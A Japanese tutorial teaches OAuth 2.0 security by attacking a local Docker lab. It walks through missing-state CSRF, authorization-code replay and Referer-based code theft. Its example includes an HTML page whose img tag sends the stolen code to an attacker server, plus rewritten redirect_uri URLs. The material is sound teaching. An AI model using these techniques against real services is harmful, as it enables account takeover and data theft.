ローカル環境で攻撃しながら学ぶOAuth2.0
はじめに
内容
OAuth2.0のパラメータを理解するには、自分で攻撃してみるのが一番良いと思い、ローカル環境で攻撃できるよう、Docker環境をつくってみました。本記事では、以下の3つのパラメータの役割を学ぶことができます。
- state
- CSRF保護対策に使用する。
- code
- アクセストークンとの引換券のようなもの
- 使用回数は1回のみ
- 有効期限は短くする必要がある
- redirect_uri
- リダイレクトURIは複数登録する場合や、事前登録しない場合などがあるため、認可リクエスト時に必要
- 不正に取得した認可コードによる攻撃を防ぐため、トークンリクエスト時にも必要
認可コードグラント
事前知識として、認可コードグラントがどういうフローかを示しておきます。認可コードグラントの詳細に関しては、@TakahikoKawasaki さんの記事が参考になります。
だいたいの流れを掴んだ上で、次節に進んでいきましょう。
事前準備
OWASP ZAP
こちらでダウンロードできます。徳丸本を読んだ方にはお馴染みのツールかと思います。
Docker環境 サンプルコード
サンプルコードをこちらに載せています。多少荒削りなのはご了承ください。
サンプルコードの内容
- ぴよぴよアプリ
- localhost:3000
- OAuth2.0のクライアント
- ほげアプリ
- localhost:3001
- OAuth2.0の認可サーバー兼リソースサーバー
- 攻撃者サーバー
- localhost:3002
- 攻撃者がもっているサーバー
- 奪った情報をこのサーバーに送信する
サンプルコードの使い方
READMEに従って、docker起動後にlocalhost:3000にアクセスすると、以下のような画面が表示されます。
「1-1 通常のOAuth2.0」をクリックすると、OAuth2.0の仕様に沿って、リソース情報が取得できます。
サンプルアプリによるOAuth2.0の流れ
まずは連携を始める画面です。今回の説明で重要となるパラメータの設定も表示しています。以後、ぴよぴよアプリ=クライアントとなります。
連携を開始ボタンを押すと、認可サーバーから認証画面が返ってきます。以後、ほげアプリ=HTTPサービスとなります。GoogleやTwitterなどのように、リソースを提供する側です。
そのまま認証すると、認可に同意するかどうかの画面が表示されます。今回はユーザーIDなどの4つの情報を取得します。
認可に同意すると、リソース情報が表示されます。
stateの役割
stateはランダムな値で、CSRF保護対策のために使用します。
リクエストとコールバックの間で状態を維持するために使用するランダムな値. 認可サーバーはリダイレクトによってクライアントに処理を戻す際にこの値を付与する. このパラメーターは Section 10.12 に記載されているクロスサイトリクエストフォージェリを防ぐために用いられるべきである (SHOULD).
stateパラメータが送信される箇所は以下の赤矢印の箇所となります。クライアントが発行して、認可サーバーに送り、認可が完了するとクライアントにstateパラメータが戻ってきます。
stateを使用しない場合
stateを使用せずに、CSRF保護対策がなされていない場合にどうなるのかをみていきます。
流れとしては、以下のようになります。
- 攻撃者が認可コード取得後、リダイレクトせずに通信を遮断する。
- 得られた認可コード付きリダイレクトURLをメールなどの手段を用いて、他者にリンクをクリックさせる。
図で見ると、以下のように13番目の認可レスポンスを取得後、通信を遮断します。
サンプルアプリによる例
まずはサンプルアプリの「2-1 state無し」から、連携を開始します。
続いて攻撃者のアカウントで認証します。
このページではあらかじめ攻撃者の情報を入力しています。
ここで、OWASP ZAPを使って、ブレークポイントをセットします。その後、権限に同意ボタンをクリックします。
すると、以下のような認可レスポンスが取得できます。認可レスポンスのLocationヘッダをコピーしてから、通信を遮断します。
(認可コードは1回しか使用できないため、通信を遮断する必要があります。OWASP ZAPを利用することで途中で通信を遮断できます)
ここで得られたURLのリンクを、なんらかの手法で被害者にクリックさせます。
メール、攻撃者のサイト、SNSなど、いろいろ手段はあるかと思います。
すると、以下のように攻撃者のリソースが取得できてしまいます。
このようにstateパラメータがない場合、誰でも攻撃者のリソースを取得できるようになります。
何が問題か?
今回は簡略化のためリソースを表示するだけだったので、あまり実感は湧かないかもしれませんが、以下のような問題が発生します。そのため、stateによるCSRF対策は基本的に必須と考えた方がいいかと思います。(正確には、RFC6749ではstateはMUSTではありませんが、CSRF保護対策はMUSTです)
- リソースの更新も可能な場合、被害者が更新した内容が攻撃者に漏れてしまう
- クライアントがOAuth2.0で認証してしまっていた場合、クライアント側で個人情報を更新すると攻撃者に漏れてしまう
code(認可コード)の役割
認可コードはアクセストークンとの引換券みたいなイメージです。
codeの要件はいくつかありますが、ここでは以下の2点をみていきます。
クライアントは2回以上認可コードを使用してはならない (MUST NOT).
漏洩のリスクを軽減するため, 認可コードは発行されてから短期間で無効にしなければならない (MUST).
codeが送信される箇所は以下の赤矢印の箇所となります。
権限委譲に同意後、認可コードが発行されます。その認可コードをクライアントが受け取って、アクセストークンを要求する、といった流れになります。
クライアントは2回以上認可コードを使用してはならない (MUST NOT).
なぜ2回以上認可コードを使用してはならないかというと、セッションハイジャックを防ぐためです。
例として、図書館などの共用PCを利用した場合を考えると、以下のような流れで被害者の情報が取得できてしまいます。
- 被害者が共用PCでOAuth2.0を利用する
- 攻撃者が同じPCを利用して、被害者が使用した認可コードをブラウザ履歴から取得する(認可コードはURLに含まれるため、ブラウザ履歴から簡単に取得できる)
- 攻撃者が認可レスポンスを取得し、認可コードを被害者のものに書き換えてからリダイレクト
- 攻撃者は被害者のリソース情報を取得する
サンプルアプリによる例
これらを実際に試してみます。
「2-2 複数回使用可能な認可コードを発行」のリンクから開始します。まずはそのまま認証します。
すると、テストユーザー情報が取得できるかと思います。
その後、攻撃者が同じPCを利用したとすると、ブラウザ履歴から認可コードつきのURLが取得できるので、URLをメモしておきます。
今回は http://localhost:3000/callback?can-use-many-times=true&code=qFpvxF6Ebjx2d3KQDvGIBnv0NajwH1zI&state=dNBfeh6AewQ9sIxQDZZkiJ6p
となりました。
続いて、攻撃者のアカウントで同様に認証します。
その後、OWASP ZAPでブレークポイントを設定してから、権限に同意します。
リクエストはそのまま送信して認可レスポンスを取得し、そのタイミングで通信を遮断します。得られたURLは以下になります。
http://localhost:3000/callback?can-use-many-times=true&code=5UmWM9cing9FmuZzhQe1242xWtubV0cG&state=a0QoLLaiJVi457K4WJaAWagp
ここで、codeクエリパラメータを、ブラウザ履歴から取得した認可コードに書き換えます。
つまり、stateは攻撃者が取得したもの、認可コードは被害者のものとなります。
書き換えたURLにアクセスすると、攻撃者でほげアプリの認証をしたにも関わらず、被害者の情報が表示されています。このように、認可コードが何度でも利用できてしまう場合、他者に乗っ取られる脆弱性が生じてしまいます。
漏洩のリスクを軽減するため, 認可コードは発行されてから短期間で無効にしなければならない (MUST).
認可コードを短時間で無効にしないと、漏洩したときにその認可コードを利用できる可能性が高まります。
ここでも例として、図書館などの共用PCを利用した場合を考えます。先程の例との違いは2番目の部分だけになります。
- 被害者が共用PCでOAuth2.0を利用する
- 認可レスポンスを受け取ったものの、ネット通信の不具合や、クライアントのサーバー不具合などで通信が途切れて、認可コードを使用しないまま終了する
- 攻撃者が同じPCを利用して、被害者が使用した認可コードをブラウザ履歴から取得する
- 攻撃者が認可レスポンスを取得し、認可コードを被害者のものに書き換えてからリダイレクトURIで
- 攻撃者は被害者のリソース情報を取得する
認可コードが1回だけしか利用できない場合でも、認可コードを使用せずに通信が途切れてしまう可能性があります。その場合、上述と同じ流れに沿って攻撃が可能となるため、認可コードの期限は短くすることが求められています。
仕様では最大でも10分が推奨となっています。
認可コードの有効期限は最大でも10分を推奨する (RECOMMENDED).
redirect_uri
redirect_uriは、認可サーバーが認可した後、どのエンドポイントにリダイレクトさせるのかを伝えるために使用します。また、後述しますが認可コードを不正に取得した攻撃を防ぐためにも利用されます。
redirect_uriをパラメータとして送るのは、以下の赤矢印の箇所となります。
なぜ認可リクエスト時にredirect_uriを送るのか?
リダイレクトURIに関しては、事前にクライアントに登録するんだから検証する必要はないのでは?? と思っていましたが、どうやらそうではないようです。前提として以下を考慮する必要があります。
- リダイレクトURIは複数登録も想定される
- リダイレクトURIの事前登録はMUSTではない(SHOULD)
- リダイレクトURIは完全なURIで登録されるとは限らない
3つ目の「リダイレクトURIは完全なURIで登録されるとは限らない」に関しては、GitHubの例が参考になります。
例えばリダイレクトURIを http://example.com/
で登録することも可能で、その場合にredirect_uriパラメータがhttp://example.com/hogehoge
のようなサブディレクトリの場合でも、検証結果がGoodとなります。
このように、クライアントが完全なリダイレクトURIを登録しない場合、そのサブディレクトリは検証を通過します。
(ただし、認可サーバーの実装次第です。完全一致で検証している場合はサブディレクトリも弾くことができますが、柔軟性とのトレードオフになります。)
これらの前提を考慮すると、認可リクエスト時にリダイレクトURIを送るのは自然であると考えられます。
なぜトークンリクエスト時にredirect_uriを送るのか?
認可リクエスト時にリダイレクトURIを送るのは、どのエンドポイントにリダイレクトさせればいいかを決めるために必要であることは分かりました。しかし仕様では、以下のように定められています。
認可リクエストに, redirect_uri パラメーターが含まれていた場合は必須 (REQUIRED). 認可リクエスト時と同じ値でなければならない (MUST).
もうリダイレクト終わったのに何に使うのか? という疑問がでてきますが、これは認可コードを不正に取得した攻撃を防ぐために利用します。これを理解するために以下の2つを順を追ってみていきます。
- Refererヘッダ経由での認可コード不正取得
- 不正取得した認可コードによる攻撃
Refererヘッダ経由での認可コード不正取得
クライアントがリダイレクトURIを完全なURIで登録していない場合、Refererヘッダ経由で認可コードを不正取得できる可能性があります。
前提として、攻撃者がOAuth2.0のクランアントのサイトでページを作成することができたとします。
すると、以下のような手順で認可コードが不正に取得できます。
- redirect_uriパラメータを、攻撃者が作成したページのURLに書き換えたリンクを作成する
- そのリンクから被害者ユーザーに認可させる
- 認可に同意した後、攻撃者にリクエストが自動的に送られ、Refererヘッダ経由で認可コードが不正に取得される
サンプルアプリによる例
実際に、攻撃の過程をみていきます。
攻撃者が作成したページは準備済みとなります。今回は http://localhost:3000/userpage/made-by-attacker.html
に作成しました。
htmlの内容は以下のようになります。localhost:3002
は攻撃者の用意したサーバーで、このページを開くと、自動的にGETリクエストが攻撃者のサーバーに送られます。
<body>
<h2>攻撃者が作成したページ</h2>
<p>(攻撃者が何らかの手段で、クライアント上にこのページを作成する)</p>
<img src="http://localhost:3002">
</body>
「2-3 完全なリダイレクトURIを事前登録していない場合」から開始し、認証画面まで遷移します。
すると、アドレスバーから、以下のようなURLが取得できます。
http://localhost:3001/authorize?client_id=xyz98765&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fcallback&response_type=code&state=id2uXuXL8slUqc2xmZRre7TB
ここのredirect_uriを作成したページに書き換えます。%2F
は/
をパーセントエンコーディングしたものになります。今回の例だと以下のようになります。
http://localhost:3001/authorize?client_id=xyz98765&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fuserpage%2Fmade-by-attacker.html&response_type=code&state=MVcXOMsvo69yJajrwZbb1HDu
redirect_uriを書き換えたURLを被害者ユーザーに開かせて、認可に同意させます。
クライアントが事前登録したリダイレクトURIはhttp://localhost:3000
なので、このredirect_uriの検証は通過します。
すると、攻撃者の作成したページにリダイレクトされます。
上述したようにimg要素のsrc属性には攻撃者のサーバーを指定してあります。
そのため、攻撃者サーバーにGETリクエストが自動的に送られ、攻撃者サーバーの標準出力に以下のようにRefererヘッダが出力されます。
Referer: http://localhost:3000/userpage/made-by-attacker.html?code=DZWySln0aXN7mEVWlQcU0POIEqbOLxKG&state=MVcXOMsvo69yJajrwZbb1HDu
クライアントがリダイレクトURIを完全なURIで登録していない場合に、攻撃者がOAuth2.0のクランアントのサイトでページを作成することができたとすると、このように攻撃者が他者の認可コードを不正に取得することができます。
不正取得した認可コードによる攻撃
前節で、クライアントがリダイレクトURIを完全なURIで登録していない場合、認可コードを不正に取得されることを確認しました。次はこの認可コードを使った攻撃をみていきます。
実は、前節の手段で認可コードを取得したとしても、アクセストークンは取得できません。ここでredirect_uriが重要になってきます。
トークンリクエスト時のredirect_uriは、認可リクエスト時と同じ値でなければなりません。
前節の手段で取得した認可コードの場合、トークンリクエスト時と認可リクエスト時でredirect_uriの値が異なるため、ここで弾かれます。
認可リクエストに, redirect_uri パラメーターが含まれていた場合は必須 (REQUIRED). 認可リクエスト時と同じ値でなければならない (MUST).
逆に言うと、トークンリクエスト時にredirect_uriを検証していない場合は不正にアクセストークンを取得できてしまいます。
サンプルアプリによる例
「2-4 完全なリダイレクトURIを事前登録していない場合 + トークンリクエスト時にリダイレクトURIを検証していない場合」から開始して、前節と同様の手段で被害者ユーザーの認可コードを取得します。
認可コード取得後、「2-4 完全なリダイレクトURIを事前登録していない場合 + トークンリクエスト時にリダイレクトURIを検証していない場合」から、攻撃者の情報でログインします。
認可画面に遷移したら、OWASP ZAPを起動し、ブレークポイントをセットします。
認可レスポンスを取得したら、通信を遮断します。
通信を遮断したら、認可レスポンスに含まれるリダイレクト先のURLの認可コードを、先ほど取得した認可コードに書き換えます。
すなわち、stateは攻撃者のもので、codeは被害者のものとなります。
すると、攻撃者のアカウントで認可に同意したにも関わらず、被害者ユーザーの情報が取得できてしまいます。
トークンリクエスト時にredirect_uriが一致していることを確認していれば、この攻撃は成り立ちません。
攻撃して取得したcodeに紐づくredirect_uriはhttp://localhost:3000/userpage/made-by-attacker.html
となっています。
攻撃者が自身のアカウントで認可しようとするときにredirect_uriは、正しいリダイレクトURIのためhttp://localhost:3000/callback
となります。
トークンリクエスト時の検証は、認可リクエスト時のredirect_uriと一致することなので、検証によってこの攻撃を防ぐことができます。
まとめ(再掲)
- state
- CSRF保護対策に使用する。
- code
- アクセストークンとの引換券のようなもの
- 使用回数は1回のみ
- 有効期限は短くする必要がある
- redirect_uri
- リダイレクトURIは複数登録する場合や、事前登録しない場合などがあるため、認可リクエスト時には必要
- 不正に取得した認可コードによる攻撃を防ぐため、トークンリクエスト時にも必要
Discussion